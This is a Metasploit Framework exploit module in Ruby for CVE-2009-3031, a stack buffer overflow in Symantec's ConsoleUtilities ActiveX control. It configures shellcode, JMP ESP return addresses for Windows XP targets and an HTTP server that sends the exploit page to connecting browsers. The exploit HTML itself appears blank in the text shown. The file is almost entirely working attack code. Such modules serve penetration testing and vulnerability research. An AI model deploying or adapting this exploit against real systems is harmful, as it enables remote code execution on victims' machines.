##
# $Id: symantec_consoleutilities_browseandsavefile.rb 10998 2010-11-11 22:43:22Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Symantecs ConsoleUtilities.
By sending an overly long string to the "BrowseAndSaveFile()" method located
in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to
execute arbitrary code
},
'License' => MSF_LICENSE,
'Author' => [ 'Nikolas Sotiriu (lofi)' ],
'Version' => '$Revision: 10998 $',
'References' =>
[
[ 'CVE', '2009-3031'],
[ 'OSVDB', '59597'],
[ 'BID', '36698'],
[ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ],
[ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 English', { 'Ret' => 0x7e47bcaf } ],
[ 'Windows XP SP2 Universal', { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP
[ 'Windows XP SP2 Pro German', { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP
[ 'Windows XP SP3 Pro German', { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP
],
'DisclosureDate' => 'Nov 02 2009',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize variables
vname = rand_text_alpha(rand(20) + 1)
junk = rand_text_alpha(rand(20) + 1)
eip = rand_text_alpha(rand(20) + 1)
morejunk = rand_text_alpha(rand(20) + 1)
sc = rand_text_alpha(rand(20) + 1)
buf = rand_text_alpha(rand(20) + 1)
# Set RET and shellcode
ret = Rex::Text.to_unescape([target.ret].pack('V'))
shellcode = Rex::Text.to_unescape(p.encoded)
# Build the Site
content = %Q|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end